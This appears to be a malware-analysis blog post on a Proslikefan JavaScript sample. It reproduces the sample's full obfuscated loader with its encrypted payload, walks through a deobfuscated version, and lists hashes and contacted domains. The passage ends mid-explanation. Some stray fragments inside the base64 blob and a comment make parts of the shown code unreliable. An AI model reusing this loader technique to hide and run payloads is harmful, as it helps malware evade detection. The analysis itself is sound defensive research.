A JavaScript-based DGA
Analysis of a defunct Proslikefan Sample- Summary
- Protection Layer
- First Self-Invoking Function: Decoding the Strings
- Second Self-Invoking Function: Decrypting and Running the Payload
- Payload
- Starting Point
- HTTP POST Requests
- Domains
- Encryption and Encoding of Content
- Unused Function
- The DGA
- As Implemented in JavaScript
- Reimplementation in Python
- Characteristics
The DGA in this blog post has been implemented by the DGArchive project.
Note 2016-06-17: I later found a fully functional sample of Proslikefan and wrote about it here. Please check out the newer blog post in favor of this post. I leave this write-up of Proslikefan up, with some minor edits to reflect findings I obtained by examining a more complete Proslikefan sample.
This JavaScript on Malwr.com from November 23, 2015 caught my attention because of the contacted domains:
133754.cc 64.62.224.253
vvoxox.eu
jarvis.co
cudbbwsff.eu
fdqawiz.eu
ahmxwyw.eu
vyyltt.cc
ldpkyawb.co
dnbqig.eu
cfzqzyuf.eu
pujdmzqb.cc
mxkuchq.co
ocwzueix.cc
Only the first domain resolves to an IP (in the US). The fourth and subsequent domains are generated by a Domain Generation Algorithm (DGA).
The first section of this blog post discusses the protection layer of the JavaScript. The second section presents the payload and its functions. The last section is dedicated to the domain generation algorithm.
The analysis uses the following sample:
- SHA256
- 33a79d571f98a5f1468c566356cbe9d47e852820cfa78f4fb63f0f9a092dfdfb
- MD5
- 4cd4d228a9f64fb0d1b2fd21ca2e2715
- file name
- cantcatchme.js
- VirusTotal
- first submission on October 28, 2015
- Malwr
- first submission on October 27, 2015
- Hybrid-Analysis
- first submission on October 27, 2015
- VT detection rate
- 10/56, generic names and a few correct Proslikefan calls.
- VT detection rate payload
- 0/56 (as of Nov. 26th)
Summary
- The payload code is protected with an XOR cipher. The key to decrypt the payload is only partially hard-coded; the missing part of the key is brute-forced by the script.
- The code does not run in browsers and only on Windows.
- The payload contains three hard-coded domains, as well as a domain generation algorithm to generate additional domains if needed. The DGA is seeded with a magic string and the current date. It uses the top level domains .cc, .eu and .co. It generate 30 domains per day.
- The domains are contacted with HTTP POST requests, using ActiveX in JavaScript. The POSTs do not send any data, but the routines to Base64-encode and RC4 encrypt content are present in the JavaScript. The response to the POSTs is not handled.
- The JavaScript is likely still in development. In the current state it doesn’t do much except creating the temporary file and sending empty POSTs. The intended purpose seems to be to download and run additional JavaScript.
Protection Layer
The unmodified JavaScript looks like this. After running it through JS Beautifier we get:
(function(klqwrmnvp, klqwrgcvp) {
klqwrbqvp = "", klqwrupvp = "", klqwrjavp = "", klqwrayvp = "", klqwruevp = "";
try {
klqwrmivp = klqwrgcvp();
} catch (klqwrycvp) {
klqwrapvp = klqwrmnvp("2crfA>cRpsatcljharB\\ohuopohe6anoCfnhsrpSannrdmDKsPhtltrgcAoCE,tFyrCtrtmhFIrQiohaaG-uRndlrHtcPgesCItBA1oJoQt3dKrMeLQMRNFO5PVQXRBS5TLUDVQWIXGYAZgaRbbcXdRepfLgRhhihjPkFlRmtnPoNpjq8rQsQt1upvAwRxlyFze0D1B2c3f4F5B6g7e8R90+M/N=EFh1SAYWQBgfE05TUx5VBksaSBcOTA==/");
}
klqwrtmvp = "", klqwrrjvp = {}, klqwrpwvp = "", klqwrsgvp = "", klqwrhvvp = "", klqwrpgvp = "", klqwrlsvp = "", klqwrisvp = "", klqwrvevp = "", klqwrarvp = "", klqwrfgvp = function() {
return klqwrpkvp = klqwrapvp.shift(), klqwrpkvp;
};
klqwrgivp = klqwrfgvp();
for (klqwrtbvp = 0; klqwrapvp.length && klqwrrjvp; klqwrtbvp++) 11 != klqwrpgvp.length && (klqwrpgvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrsgvp.length != 6 && (klqwrsgvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrlsvp.length != 6 && (klqwrlsvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrjavp.length != 12 && (klqwrjavp += klqwrgivp, klqwrgivp = klqwrfgvp()), 65 != klqwrbqvp.length && (klqwrbqvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrtmvp.length != 8 && (klqwrtmvp += klqwrgivp, klqwrgivp = klqwrfgvp()), 11 != klqwruevp.length && (klqwruevp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrisvp.length != 96 && (klqwrisvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrvevp.length != 4 && (klqwrvevp += klqwrgivp, klqwrgivp = klqwrfgvp()), 4 != klqwrayvp.length && (klqwrayvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrpwvp.length != 5 && (klqwrpwvp += klqwrgivp, klqwrgivp = klqwrfgvp()), 8 != klqwrarvp.length && (klqwrarvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrupvp.length != 10 && (klqwrupvp += klqwrgivp, klqwrgivp = klqwrfgvp()), klqwrhvvp.length != 6 && (klqwrhvvp += klqwrgivp, klqwrgivp = klqwrfgvp());
})(function(klqwrgyvp) {
return klqwrgyvp.split("");
}, function(klqwrgmvp, klqwrvgvp) {
return window;
}),
function(klqwrndvp, klqwrmrvp, klqwrrgvp, klqwrrivp, klqwrxmvp, klqwrnevp, klqwrsfvp, klqwradvp) {
klqwrcgvp = [0, 0, 2, 1], klqwrixvp = Math, klqwrtwvp = klqwrndvp(klqwrsfvp), klqwrisvp = klqwrndvp(klqwrisvp), klqwrmrvp = klqwrndvp(klqwrmrvp), klqwrzovp = 1691;
while (klqwrzovp > klqwrxmvp.length) {
klqwrhtvp = klqwradvp(klqwrixvp);
if (!klqwrnevp(klqwrhtvp, klqwrxmvp)) {
try {
klqwrrivp(klqwrrgvp(klqwrpgvp + klqwrhtvp, klqwrisvp));
klqwrrivp(klqwrrgvp(hbtmutmvp, klqwrmrvp));
klqwrzovp = 0;
} catch (klqwrvqvp) {}
klqwrxmvp.push(klqwrhtvp);
}
}
}(function(klqwrvfvp) {
klqwrvfvp = klqwrvfvp.toString().replace(/A-Z\/+0-9]+/ig, "");
klqwrejvp = {};
for (klqwrtyvp = klqwrbqvp.length, klqwrkevp = 0; klqwrkevp < klqwrtyvp; klqwrkevp++) klqwrejvp[klqwrbqvp[klqwrsgvp](klqwrkevp)] = klqwrkevp;
klqwrsdvp = klqwrcgvp[klqwrvfvp[klqwrhvvp] % 4], klqwruqvp = [];
for (klqwrzkvp = 0, klqwrclvp = klqwrvfvp.length; klqwrzkvp < klqwrclvp; klqwrzkvp += 4) klqwreevp = (klqwrejvp[klqwrvfvp[klqwrsgvp](klqwrzkvp)] || 0) << 18 | (klqwrejvp[klqwrvfvp[klqwrsgvp](klqwrzkvp + 1)] || 0) << 12 | (klqwrejvp[klqwrvfvp[klqwrsgvp](2 + klqwrzkvp)] || 0) << 6 | (klqwrejvp[klqwrvfvp[klqwrsgvp](3 + klqwrzkvp)] || 0), klqwruqvp[klqwrvevp](klqwreevp >> 16, klqwreevp >> 8 & 255, klqwreevp & 255);
return klqwruqvp[klqwrhvvp] -= klqwrsdvp, String[klqwrjavp][klqwrpwvp](String, klqwruqvp);
}, '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', function(klqwrmqvp, klqwrbvvp) {
klqwrkivp = String, klqwroxvp = "";
for (klqwrfjvp = 0; klqwrfjvp < klqwrbvvp.length; klqwrfjvp++) klqwroxvp += klqwrkivp[klqwrjavp](klqwrmqvp[klqwrupvp](klqwrfjvp % klqwrmqvp.length) ^ klqwrbvvp[klqwrupvp](klqwrfjvp));
return klqwroxvp;
}, function(klqwrkmvp) {
klqwrkmvp = klqwrkmvp.substring(0, klqwrkmvp.length - 2);
return [][klqwrayvp][klqwruevp](klqwrkmvp)();
}, [], klqwrnevp = function(klqwrslvp, klqwrpyvp) {
for (klqwrbnvp in klqwrpyvp)
if (klqwrpyvp[klqwrbnvp] == klqwrslvp) return !0;
return !1;
}, "1", function(klqwrylvp) {
return (klqwrylvp[klqwrlsvp]() * 1692 | [])[klqwrarvp](27);
});
The JavaScript consists of two self-invoking functions that are discussed separately:
- The first function decodes 14 strings used by the second function.
- The second function decodes, decrypts and runs the payload.
The JavaScript is only slightly obfuscated. Getting a readable version is a matter of renaming variables and using the decoded strings to reveal the built-in functions calls that are obscured by the bracket notation.
First Self-Invoking Function: Decoding the Strings
The following snippet show the first function after adding some more line breaks, renaming most of the variables, and rewriting the short-circuit evaluations a && b
as if(a) { b; }
:
(function(string_to_list, get_window) {
try {
klqwrmivp = get_window();
} catch (e) {
l_characters = string_to_list("2crfA>cRpsatcljharB\\ohuopohe6anoCfnhsrpSannrdmDKsPhtltrgcAoCE,tFyrCtrtmhFIrQiohaaG-uRndlrHtcPgesCItBA1oJoQt3dKrMeLQMRNFO5PVQXRBS5TLUDVQWIXGYAZgaRbbcXdRepfLgRhhihjPkFlRmtnPoNpjq8rQsQt1upvAwRxlyFze0D1B2c3f4F5B6g7e8R90+M/N=EFh1SAYWQBgfE05TUx5VBksaSBcOTA==/");
}
base64_characters = "";
s_charCodeAt = "";
s_fromCharCode = "";
s_sort = "";
s_constructor = "";
string_cryptic = "";
klqwrrjvp = {};
s_apply = "";
s_charAt = "";
s_length = "";
key_prefix = "";
s_random = "";
javascript1_cipher = "";
s_push = "";
s_toString = "";
get_next_char = function() {
c = l_characters.shift();
return c;
};
current_char = get_next_char();
for (var i = 0; l_characters.length && klqwrrjvp; i++) {
}
if(key_prefix.length < 11) {
key_prefix += current_char;
current_char = get_next_char();
}
if(s_charAt.length < 6) {
s_charAt += current_char;
current_char = get_next_char();
}
if(s_random.length < 6) {
s_random += current_char;
current_char = get_next_char();
}
if(s_fromCharCode.length < 12) {
s_fromCharCode += current_char;
current_char = get_next_char();
}
if(base64_characters.length < 65) {
base64_characters += current_char;
current_char = get_next_char();
}
if(string_cryptic.length < 8) {
string_cryptic += current_char;
current_char = get_next_char();
}
if(s_constructor.length < 11) {
s_constructor += current_char;
current_char = get_next_char();
}
if(javascript1_cipher.length < 96) {
javascript1_cipher += current_char;
current_char = get_next_char();
}
if(s_push.length < 4) {
s_push += current_char;
current_char = get_next_char();
}
if(s_sort.length < 4) {
s_sort += current_char;
current_char = get_next_char();
}
if(s_apply.length < 5) {
s_apply += current_char;
current_char = get_next_char();
}
if(s_toString.length < 8) {
s_toString += current_char;
current_char = get_next_char();
}
if(s_charCodeAt.length < 10) {
s_charCodeAt += current_char;
current_char = get_next_char();
}
if(s_length.length < 6) {
s_length += current_char;
current_char = get_next_char();
}
}
})
(function(input_string) {
return input_string.split("");
}, function(a1, a2) {
return window;
})
The try-catch-block accesses the window
variable. The code requires an exception to be thrown, i.e., that window
is not implemented. This means the JavaScript only runs outside browser environments. If the exception is thrown, then a large string is split into an array l_characters
.
The characters in the l_characters
array are then distributed among 14 different strings. The strings, along with their later usage by the second self-invoking function, are:
variable | value | meaning |
---|---|---|
key_prefix | 2j6ncrals13 | key prefix |
s_charAt | charAt | JavaScript function |
s_random | random | JavaScript function |
s_fromCharCode | fromCharCode | JavaScript function |
base64_characters | ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg hijklmnopqrstuvwxyz0123456789+/= | Base64 characters |
string_cryptic | >\fK,I-t | not used |
s_constructor | constructor | JavaScript function |
javascript1_cipher | RhhPFQRPBQMQRF5VXB5LDQIGAgRbXRpLR hhPFRtPNj8QQ1pARlFeDBcfFBgeR0MNE Fh1SAYWQBgfE05TUx5VBksaSBcOTA== | first Javascript ciphertext |
s_push | push | JavaScript function |
s_sort | sort | JavaScript function |
s_apply | apply | JavaScript function |
s_toString | toString | JavaScript function |
s_charCodeAt | charCodeAt | JavaScript function |
s_length | length | JavaScript function |
Second Self-Invoking Function: Decrypting and Running the Payload
The following listing shows the second part of the JavaScript. I renamed variables and functions, inserted line-breaks, and replaced the variables with built-in function names with their literal representation:
function (base64_decode, javascript2_cipher, xor_decrypt, call_function, tested_keys, element_in_list, base64_teststring, get_rand_base27str) {
// base64 decode the two javascript ciphers
padding_lengths = [0, 0, 2, 1],
base64_test = base64_decode(base64_teststring),
javascript1_cipher = base64_decode(javascript1_cipher),
javascript2_cipher = base64_decode(javascript2_cipher),
// brute force the key
key_space_size = 1691;
while (key_space_size > tested_keys.s_length) {
key_suffix = get_rand_base27str(Math);
if (!element_in_list(key_suffix, tested_keys)) {
try {
call_function(xor_decrypt(key_prefix + key_suffix, javascript1_cipher));
// the variable *hbtmutmvp* is set by the previous line (javascript1)
call_function(xor_decrypt(hbtmutmvp, javascript2_cipher));
key_space_size = 0;
} catch (e) {}
key_suffixs.push(key_suffix);
}
}
}(
// arg1: base64 decode the input string
function(base64_string) {
base64_string = base64_string.toString().replace(/A-Z\/+0-9]+/ig, "");
char_to_pos = {};
for (end_pos = base64_characters.length, i = 0; i < end_pos; i++)
char_to_pos[base64_characters["charAt"](i)] = i;
nr_padding = padding_lengths[base64_string["length"] % 4], dec_bytes = [];
for (var i = 0, base64_string_len = base64_string.length; i < base64_string_len; i += 4) {
dec_byte = (char_to_pos[base64_string["charAt"](i)] || 0) << 18 |
(char_to_pos[base64_string["charAt"](i + 1)] || 0) << 12 |
(char_to_pos[base64_string["charAt"](2 + i)] || 0) << 6 |
(char_to_pos[base64_string["charAt"](3 + i)] || 0);
dec_bytes["push"](dec_byte >> 16, dec_byte >> 8 & 255, dec_byte & 255);
}
dec_bytes["length"] -= nr_padding; // remove padding
return String["fromCharCode"]["apply"](String, dec_bytes);
},
// arg2: encrypted payload
'RjFfHgEVSQpHLUURDU4aREZyE0wfRxseGjVHF0RURVkeNRdQSFZFWQ83F1BKTRECVTdOXhMQQVdHchNYFEAGH1cKSBFMbBUYWm1UBApFGwEaagwSVRRdQERyE1gQEEE3H25RVFF8WBgDdn0SVRQpUUZyEz4REEExHjcXUD9URVlvflBUUQhPHlc3UxcKAQBdB3hbSRAQRFFUNkgGEEgbAhpqXRBVEUlNA3hSFx1afRoDcxtNVQo5DUYrCBcFTxADX2sPT1IUQV8EPxZMSlUbP0YxTwsDCUVaG21VEAZSAB5bLUFNVQhPZUVyFlgBVxUAGmtVV0wDH04eYQRMTQhPZVslBk0SEERRDzQXVT8DGk5vagYDC1NcFANzG1VfWUVcDjQXVT9KKUJeJkgCEElPFANzDU5NWh0KGjQXVT8DH05vGF5UVHwvTlNhe1hZAxUPXSpIR01aF10Ca1FUVHpWBxAefR1VESk3ECAEOE0aCRFPIEcRB0lURFdqXRUWSBoYGmEXX0YKEUUJPltJBhVJCkctRRENThpEQ3IVTB9QRV8ZfgRHSFNFXw9zHQMLU1wfA3AbVV9SRV8OMhdWSk0RAlU3Tl4XEEdHGWoGF1USSURAchVZWBRdQUByFU4VEEdCUStHFydOEAlzNw4WVRJdQEByFUNZU0VfCWNUABBUBgISMRdWX1xYGAF+QBAKQgAFXS0OTB9UR1FpHgoTVxwaCUVjYgQQRE8KXTEGTRMSSVwJNBVZVRFPGwFoDUxERxseEmteVlkRTxQBf19WSk0RAlU3Tl4cEl9HGzhcVll6ViN5YQoTVw8TCUYWciYpThoYWmsPTlUNAl8cJEMRMXU3KFM3Q01NDQJfHCRDETF1NypHL0o8AUAGRBtvX1Y/WUcxb21MCg1PXE4cYQ9JBRVJIVM3TksFQwdEUHcOH1cIXUdFcAoGUBxWTgklSRdMRUBRAnhCUVhAQEkFaBBeABVfRxtjR1FZbBUYWm1HBxcJFlgaIBJOBRVdRR4gEk5ZcgAeWy1BSwJTGwFxK0cXJ04QCRoiEkBWF19VBWodEFcPBBlBKw4GUApWQhBoX1Y/WUcxb64charshbFwFVAR5cY0NRTFRHRQk+ChxVE0kKRy1FEQ1OGkRBchNMH1MRGEcxSEUBUhcNQiYOEVYJB10aNxdJFxBBRRtqHRhIUkVRVDZIBhBIGwIaKBNJCBRdF192Gz45GhIDQGtIUFkRTwIHfxRQUhoaWRloD0UJFC8CBx4GWERPQVdddhtVX0cbHhJrSFBZEU8CB38UUFIaGlkZaA9FCxRUURJrSVBPTEE3XHZ7Tg8UWg9aIlQmC0URLUZrSFBBSkFCXiZIAhBJXUUXcRNTSFFBUV92fQtRfFgBBxhIUDkcGVlpLBM4SExBN112e1gUFE8CB34WSUROQVECbwYUURxWTgklSRdECQZZD3MdF1EdGFkcL0MLA1UcV0B2DU5NARpZD2tIUE8QXUkAdhBJRE5BURosE04JFC8CBx4PQFYUQkBCdhsIUXoaWW9vS1A/T0ExDy4TPgsUKUBfdn0KUXxJHAdvV1BPHCcYQCpIAkpHBgNfAE4EFmIbCFdrSlBKQhwNQABJAQFgAERAdg87CRQvRF92fQtRfF8BBxhJUDkIUV4HdXtMX1MRGEcxSEUVFE8RHjcUWAJUGg9GKkkLTFRGRUk0FFhUGh0KGmJTV00BBglGNlQLRFRGV0RxGz45DQxeD3MKEFYKSU4QeEIKRFhGUUdxCAYMQAYvXSdDJBAJDF4ZaA9JHhNJGQBtRQ0FUzcDViZnEUxZRkcZagoEVxwBXhwgTgQWYhsIVwJSTRwTX0cbb0RWWVhGUA5yEBkeE0hQCj9HVkhCR1FQcBhbVRlSWgFvQlZZQ0dSDHIUQ1ISWAkBfkRWWh9CSgRwCgNXHBZfFHUVSRITLxsAaA04WUZHQlErRxclVVwPAWoNAlcPFwRTMWcRTEVHRRkkFUsHSRUeczcOAFcIXwsBbUUNBVM1GBolFUxfVhwFXiYOHVYdAV4cL0MLA1UcRQkxQxERUxpMWnAbE1YPHgNbLQ5HRghYBQF+U1dKTRECVTdOQFcNXAUBfE5WSlIYBVEmDlVISEdBAWocDVcIX04PfhtHSlIYBVEmDgxXXQhfb64charshbSRwQRlFUNkgGEEgbAhpqXQ5VEkkJBmtNVFcITwpdMQ4JVRJJXAkvF1ZYSkVfHC9DCwNVHFdechVOTwgPAQNwGxZWCVYNEG8ER0hKRV9pLxdWOQhPTFslDghVEl1MQCZSEBZPVAYDcAZYRBJCCQdjDUVMTxEbEgdHEQEIWgtXN3IMCURcRR4tF1ZZAERAW3IVWA8QRzdechU4SEpFX2kvF1Y5GgkDA3AbEVcJXVcSJUkXRAkEXQF+Fl4UEEdQA3MdFVUSX0cbOEtUVxwHXhphR0dIA1ZAXXIVPhQQRzEbeAYMAgFcAQNwD2wWRAAZQC0GD1USSURcJlFFIEAACRttQQAQdR0BV2sPRU8BR1pXdgpsDRBHUVlyFT4UEEcxHi0XVlkAREBdchU+FBBHMQk+VAAQVAYCEi0XVlkARUATch0YSFJGUVQ2SAYQSBsCGjYXV0hXRV4eNBdXTVodChJrUhwURBsKEjQXV0QcSUwQNkgBAUcdAlcnBEwfVkVeDzsXV0wITwVUawcSVRNdTEAmUhAWT1RNA3hbbBIQRlFLchRNRgNdV0YxXx4eEEZRXCZRRSVCAAVEJn4qBksRD0ZrBCb64charseTkgAG11ABZXER5qDmotMHUkQgRtFkdNDQ5dAG1JFQFPXE5iDHUxRg1WBEY3Vl9LDlZHRXIUTkYOVkdHchRORg5WRR45F1dKUhEYYCZXEAFSACRXIkIAFglWPEAiQQgFA1hOXCwLBgVCHAkQagofVRNaH1c3dAAVVBEfRgtDBABEBkQQAEkLEEQaGB8XXxUBA1hOUzNWCQ1CFRhbLEhKHAwDG0VuQAoWTFkZQC9DCwdOEAlWYQ9JHhBGQkEmUjcBUAEJQTduAAVFER4aYXMWAVNZLVUmSBFGDQENG29cVFYPBwlGEUMUEUQHGHomRwEBU1xOcSxIEQFPAEF+JkgCEElWQAJqCh9VE1ofVzd0ABVUER9GC0MEAEQGRBAASQsKRBcYWyxIR0gDFwBdMENHTQ0OXQBtVQAKRVwaA3EPXhkBFw1GIE5NAQgPEQljVAAQVAYCEmIXXhkNBB5bLVJYAlQaD0YqSQtMTgEYGzhxNgdTHRxGbWMGDE5cA0c3D14ZGhddAX5IABMBNQ9GKlAAPG4WBlcgUk1GchceWzNSDApGWipbL0M2HVIACV8MRA8BQgBOG29EVFccF10BbUEAEHIECVEqRwkiThgIVzEOV00KVjBuYQ1NVQo5DUYrCBcFTxADX2sPT1IUQV8EPxZMSlUbP0YxTwsDCUVaG21VEAZSAB5bLUFNVQhYCANwGwZVElojQiZIMQFZACpbL0NNBhBHQABvF0xIRUVfHBRUDBBEXE5TIEkMCg8QAF5hD0kAEEdCcS9JFgEJXUBZchVYP3xYBwNwCBURUhxEEClHFxJIB0JRLARMSFhHUWkeCg5VElocRzBOTUYQR18FdhJLB0JWRR43F1hGWwMFRTlMEFdbEAFKLUwGVk8THlotSw8NTEZOHiAXVVlEAg1eb19WSlEBH1prBAYHA11AWXIVSxRUBwQaYVATC1kbFBwmU0dNDQEND2FrCh5IGABTbBJLVAFcO1stQgoTUk9MfxBvIEQXWlwJY3EMCkUbG0FjaDFEFFpcG2EKHFcPBBlBKw5HB05WRR46FUsUVAcEGmFDEEYIWB8AawQERg1WThs+RQQQQhxEV2pdGF8=',
// arb64chars: XOR decoding of the *ciphertext* with the multicharacter *key*
function(key, ciphertext) {
plaintext = "";
for (var i = 0; i < ciphertext.length; i++)
plaintext += String["fromCharCode"](key["charCodeAt"](i % key.length) ^ ciphertext["charCodeAt"](i));
return plaintext;
},
// arg4: remove last two chars from *javascript_string* and run
// the resulting javascript
function(javascript_string) {
javascript_string = javascript_string.substring(0, javascript_string.length - 2);
return []["sort"]["constructor"](javascript_string)();
},
// arg5: list of tested keys
[],
// arg 5: check if *el* is in *elements*
element_in_list = function(el, elements) {
for (e in elements)
if (elements[e] == el)
return 1;
return 0;
},
// arg7: Base64 test string
"1",
// arg8: generates a small random string by converting a
// random integer between 0 and 1691 two base 27
function(Math) {
return (Math["random"]() * 1692 | [])["toString"](27);
}
);
The function takes 8 parameters, many of which are in turn functions that do the heavy lifting:
- An anonymous function that base64-decodes the input string.
- A base64 string that represents the encrypted, second JavaScript payload (the string from the first section being the first). This is the actual payload.
- An anonymous function that XOR-decrypts a string with a multi-character key.
- An anonymous function that removes the trailing two characters from the passed string, and then tries to call the result.
- A list of keys that have already been tested, set to an empty array.
- A function to test if the first argument is in the list given by the second argument.
- A base64 string that will be decoded, but not used after that. Maybe the string is a relict from development used to test the base64 algorithm.
- An anonymous function that generates random strings. The function first generates a random integer between 0 and 1691. The integer is then converted to base 27, which will have the characters 0-9 and the letters a-q.
The function itself is rather concise. First, the javascript1_cipher
from the previous section, along with the two arguments base64_teststring
and javascript2_cipher
, are base64 decoded:
// base64 decode the two javascript ciphers
padding_lengths = [0, 0, 2, 1],
base64_test = base64_decode(base64_teststring),
javascript1_cipher = base64_decode(javascript1_cipher),
javascript2_cipher = base64_decode(javascript2_cipher),
The script then generates keys by concatenating the static key_prefix
with the randomly generated key_suffix
. The function keeps track of the keys it already tested with the array tested_keys
